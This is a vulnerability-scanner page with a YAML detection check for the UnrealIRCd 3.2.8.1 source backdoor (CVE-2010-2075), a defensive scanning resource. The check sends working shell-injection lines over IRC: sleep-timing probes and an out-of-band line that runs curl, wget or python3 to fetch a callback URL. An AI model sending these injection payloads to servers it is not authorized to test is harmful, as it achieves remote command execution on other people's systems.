UnrealIRCd — 1 vulnerability check
noctis ships 1 vulnerability check for UnrealIRCd, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
UnrealIRCd 3.2.8.1 backdoor command execution
| CVE | CVE-2010-2075 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | irc |
| Detection | tcp_open, tcp_send, script, sleep, set_var, match, tcp_close, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/unrealircd/CVE-2010-2075.yaml |
Checks an IRC server for the UnrealIRCd 3.2.8.1 backdoor. The trojaned Unreal3.2.8.1 source package distributed between November 2009 and June 2010 runs any data sent by a client that starts with "AB" as a shell command, without registration or authentication. The test connects to the IRC port and sends a control line "AB; sleep 0; exit 0", which must be answered with the usual "You have not registered" error (the test waits up to about 15 seconds, as the server may first look up the client's ident and host name), then the same line with "sleep 6". It reports the server when the second answer is held back for about six seconds and a repeated control line is then answered at once, which only happens when the shell ran the command (the IRC server stops answering every client during those six seconds). With out-of-band detection enabled, a further line makes a single HTTP request back to the scanner, which confirms command execution. Nothing is written on the target.
How noctis detects it
- Opens a persistent TCP/TLS socket
- Sends
{{ctl_line}}on the open socket - Parses / computes the next value with a Rhai script
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Sends
{{inj_line}}on the open socket - Sends
…on the open socket - Sends
…on the open socket - … and 5 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2010-2075
- https://seclists.org/fulldisclosure/2010/Jun/277
- https://www.openwall.com/lists/oss-security/2010/06/14/11
Feed source — tests/vulnerabilities/unrealircd/CVE-2010-2075.yaml
# UnrealIRCd 3.2.8.1 trojaned source tarball backdoor (CVE-2010-2075)
#
# The Unreal3.2.8.1.tar.gz served by the UnrealIRCd mirrors from November 2009
# to June 2010 was replaced with a trojaned copy (md5 752e46f2...). Its
# s_bsd.c read_packet() hands every received packet that starts with "AB" to
# system() — before the client registers, so without any authentication. The
# command's output is not sent back to the client, so the proof is blind.
#
# Two detection branches, both real command execution:
#
# 1. Timing (QoD 75, no OOB needed)
# ircd is single-threaded: while system() runs, the server answers
# nobody. A control packet "AB; sleep 0; exit 0" must get its 451 "You
# have not registered" reply; the same-length packet
# "AB; sleep 6; exit 0" must get no reply for ~4 s and then its 451
# before ~8 s, and a second control right after must be answered at
# once again. A merely slow / lagged server fails the control. The
# control is re-read for ~15 s: Unreal reads nothing from a new client
# until its ident / DNS lookups end.
# 2. OOB callback (QoD 97) — only with --oob
# The packet starts one background HTTP GET to {{oob_url}} with curl,
# wget or python3 (backgrounded so the IRC server is not held up).
#
# Every payload ends with "exit 0": recv() does not NUL-terminate the static
# readbuf, so bytes an earlier, longer packet (from any client) left behind
# would otherwise run as further shell lines.
#
# Credit: detection logic adapted from the GPL-2.0 plugin
# 2010/remote-irc-unrealircd-backdoor.nasl (OID 1.3.6.1.4.1.25623.1.0.80111).
# Beyond it: same-shape control packets before and after (the source has none), one 6 s
# delay instead of three (3 + 5 + 10 s of server-wide stall), the "exit 0"
# guard against leftover-buffer execution, and the OOB branch.
uid: 7d6e5097-6358-47f0-add1-60b594e464a8
name: "UnrealIRCd 3.2.8.1 backdoor command execution (CVE-2010-2075)"
description: |
Checks an IRC server for the UnrealIRCd 3.2.8.1 backdoor. The trojaned
Unreal3.2.8.1 source package distributed between November 2009 and June
2010 runs any data sent by a client that starts with "AB" as a shell
command, without registration or authentication.
The test connects to the IRC port and sends a control line "AB; sleep 0;
exit 0", which must be answered with the usual "You have not registered"
error (the test waits up to about 15 seconds, as the server may first look
up the client's ident and host name), then the same line with "sleep 6".
It reports the server when the second answer is held back for about six
seconds and a repeated control line is then answered at once, which only
happens when the shell ran the command (the IRC server stops answering
every client during those six seconds). With out-of-band detection
enabled, a further line makes a single HTTP request back to the scanner,
which confirms command execution. Nothing is written on the target.
cves: [CVE-2010-2075]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [unrealircd, irc, backdoor, rce, command-injection, intrusive, oob]
services: [irc]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-2075"
- "https://seclists.org/fulldisclosure/2010/Jun/277"
- "https://www.openwall.com/lists/oss-security/2010/06/14/11"
vars:
ctl_line: "AB; sleep 0; exit 0"
inj_line: "AB; sleep 6; exit 0"
steps:
- id: open-irc
action: tcp_open
handle: irc
port: "{{port}}"
read_banner: true
timeout_secs: 10
store_as: conn
# ── Control: same-shape packet, sleep 0 — must be answered quickly ───────
# Unreal does not read a new client's socket until its ident / DNS lookups
# finish (up to ~10 s when the scanner's port 113 is silently dropped), so
# the control line is re-read for up to ~15 s. The 6 s timing test only
# starts once the control has been answered, i.e. once lines are read.
- id: control
action: tcp_send
handle: irc
condition: "conn.connected == true"
send: "{{ctl_line}}\n"
timeout_secs: 10
store_as: ctl
- id: control-text
action: script
condition: "conn.connected == true"
store_as: ctl_text
code: |
let t = "";
if ctl.responded == true { t = ctl.response; }
t
- id: control-wait-1
action: sleep
condition: "conn.connected == true && !ereg(\" 451 \", ctl_text)"
duration_ms: 2000
- id: control-read-1
action: tcp_send
handle: irc
condition: "conn.connected == true && !ereg(\" 451 \", ctl_text)"
send: ""
timeout_secs: 10
store_as: ctl_r1
- id: control-text-1
action: script
condition: "conn.connected == true && !ereg(\" 451 \", ctl_text)"
store_as: ctl_text
code: |
let t = ctl_text;
if ctl_r1.responded == true { t += ctl_r1.response; }
t
- id: control-wait-2
action: sleep
condition: "conn.connected == true && !ereg(\" 451 \", ctl_text)"
duration_ms: 4000
- id: control-read-2
action: tcp_send
handle: irc
condition: "conn.connected == true && !ereg(\" 451 \", ctl_text)"
send: ""
timeout_secs: 10
store_as: ctl_r2
- id: control-text-2
action: script
condition: "conn.connected == true && !ereg(\" 451 \", ctl_text)"
store_as: ctl_text
code: |
let t = ctl_text;
if ctl_r2.responded == true { t += ctl_r2.response; }
t
- id: control-wait-3
action: sleep
condition: "conn.connected == true && !ereg(\" 451 \", ctl_text)"
duration_ms: 4000
- id: control-read-3
action: tcp_send
handle: irc
condition: "conn.connected == true && !ereg(\" 451 \", ctl_text)"
send: ""
timeout_secs: 10
store_as: ctl_r3
- id: control-text-3
action: script
condition: "conn.connected == true && !ereg(\" 451 \", ctl_text)"
store_as: ctl_text
code: |
let t = ctl_text;
if ctl_r3.responded == true { t += ctl_r3.response; }
t
- id: control-wait-4
action: sleep
condition: "conn.connected == true && !ereg(\" 451 \", ctl_text)"
duration_ms: 4000
- id: control-read-4
action: tcp_send
handle: irc
condition: "conn.connected == true && !ereg(\" 451 \", ctl_text)"
send: ""
timeout_secs: 10
store_as: ctl_r4
- id: control-text-4
action: script
condition: "conn.connected == true && !ereg(\" 451 \", ctl_text)"
store_as: ctl_text
code: |
let t = ctl_text;
if ctl_r4.responded == true { t += ctl_r4.response; }
t
- id: control-init
action: set_var
var_name: control_ok
var_value: false
- id: control-answered
action: set_var
condition: "conn.connected == true && ereg(\" 451 \", ctl_text)"
var_name: control_ok
var_value: true
# ── Branch 1: timing (QoD 75) ─────────────────────────────────────────────
- id: inject-sleep
action: tcp_send
handle: irc
condition: "control_ok == true"
send: "{{inj_line}}\n"
# Short reply waits on the timing reads (timeout_secs bounds the wait for a
# reply's first byte): this read and inject-read-1 must come back empty
# before the ~6 s reply, and the recheck must be answered at once.
timeout_secs: 1
store_as: inj
- id: early-init
action: set_var
var_name: held
var_value: false
- id: early-silent
action: set_var
condition: "control_ok == true && !(inj.responded == true && ereg(\" 451 \", inj.response))"
var_name: held
var_value: true
- id: inject-wait-1
action: sleep
condition: "held == true"
duration_ms: 3000
# t ≈ 4 s: still no 451 on a backdoored server (sleep 6 is running).
- id: inject-read-1
action: tcp_send
handle: irc
condition: "held == true"
send: ""
timeout_secs: 1
store_as: inj_mid
- id: mid-silent
action: set_var
condition: "held == true && inj_mid.responded == true && ereg(\" 451 \", inj_mid.response)"
var_name: held
var_value: false
- id: inject-wait-2
action: sleep
condition: "held == true"
duration_ms: 4000
# t ≈ 8.5 s: the held-back 451 has arrived.
- id: inject-read-2
action: tcp_send
handle: irc
condition: "held == true"
send: ""
timeout_secs: 10
store_as: inj_late
# The server answers promptly again once the command is over: a server
# that froze for a while by chance (load spike) is less likely to match.
- id: recheck-init
action: set_var
var_name: recheck_ok
var_value: false
- id: recheck
action: tcp_send
handle: irc
condition: "held == true && inj_late.responded == true && ereg(\" 451 \", inj_late.response)"
send: "{{ctl_line}}\n"
timeout_secs: 2
store_as: rechk
- id: recheck-answered
action: set_var
condition: "held == true && inj_late.responded == true && ereg(\" 451 \", inj_late.response) && rechk.responded == true && ereg(\" 451 \", rechk.response)"
var_name: recheck_ok
var_value: true
- id: report-timing
action: match
source: inj_late.response
pattern: " 451 "
condition: "recheck_ok == true"
on_match:
finding:
title: "UnrealIRCd backdoor command execution (sleep delay confirmed)"
confidence_delta: 0.45 # 0.30 + 0.45 = 0.75
qod: 75
evidence: "'{{ctl_line}}' answered ({{ctl_text}}); '{{inj_line}}' unanswered after ~1 s and ~4 s, then answered at ~8.5 s: {{inj_late.response}}; the control line was answered at once again afterwards"
# ── Branch 2: real exploitation, OOB callback (QoD 97) ────────────────────
- id: inject-oob
action: tcp_send
handle: irc
condition: "oob_enabled && control_ok == true"
send: "AB; u={{oob_url}}; (curl -sm5 $u||wget -qT5 -O- $u||python3 -c 'import urllib.request as r,sys;r.urlopen(sys.argv[1],timeout=5)' $u) >/dev/null 2>&1 & exit 0\n"
timeout_secs: 10
store_as: inj_oob
- id: quit
action: tcp_send
handle: irc
condition: "conn.connected == true"
send: "QUIT\r\n"
timeout_secs: 5
store_as: bye
- id: close-irc
action: tcp_close
handle: irc
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
store_as: oob_result
condition: "oob_enabled && control_ok == true && type_of(inj_oob) == \"map\" && inj_oob.sent == true"
on_success:
finding:
title: "UnrealIRCd backdoor command execution confirmed (out-of-band callback)"
confidence_delta: 0.65 # 0.30 + 0.65 = 0.95
qod: 97
evidence: "'{{ctl_line}}' answered with {{ctl_text}}; a line starting with AB ran a shell command that called back ({{oob_result.method}} /{{oob_token}})"
stop: true